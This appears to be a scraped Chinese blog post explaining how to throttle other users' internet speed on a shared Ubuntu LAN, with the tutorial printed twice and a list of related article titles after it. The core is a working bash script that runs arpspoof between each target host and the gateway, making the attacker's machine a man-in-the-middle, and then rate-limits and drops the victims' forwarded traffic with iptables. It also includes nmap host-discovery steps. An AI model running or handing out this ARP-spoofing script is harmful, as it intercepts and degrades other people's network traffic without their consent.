linux轻松限制局域网网速
来源:互联网 发布:迅雷mac版运行起来就卡 编辑:程序博客网 时间:2024/04/30 05:10
为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables
while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&
$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -s $2 -j DROP
$IPT -A FORWARD -d $2 -j DROP
done
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables
while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&
$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -s $2 -j DROP
$IPT -A FORWARD -d $2 -j DROP
done
- linux轻松限制局域网网速
- 如何限制局域网网速
- 怎样限制局域网的网速
- Linux限制网速
- Linux中限制网速
- Linux下限制本机网速
- 利用linux traffic control 作局域网中网速控制
- linux限制网速的方法(debian下亲测能用)
- 限制别人网速秘籍[局域网中敢看电影、下载我就限制你!][幻境网盾V3.7]
- 解除网速限制
- ubuntu本地网速限制
- 路由器如何限制网速
- linux_网速限制
- ubuntu限制本地网速
- tc 限制网速
- 限制avd网速
- 请教下大家,如何防止大的局域网内的ARP攻击?感觉老师给限制网速……
- ARP防火墙 (防如网络执法官、网络剪刀手、局域网终结者限制本机网速)
- Oracle 表分析说明
- Android --- 首选项SharedPreferences应用
- BASH 的基本语法
- proC--sqlca.sqlcode
- linux(ubuntu)分区的简单介绍
- linux轻松限制局域网网速
- [zz]三种模式匹配算法(KMP,MonteCarlo,LasVegas)的比较与分析
- Ubuntu oracle java 6 jdk 安装
- 如何在spring框架中解决多数据源的问题
- 批处理关于截取变量中字符串(字段)问题的详细说明
- 湖南有哪些城市?
- 如何查看端口被占用
- Android 基础认识
- MAX8722 CCFL背光控制器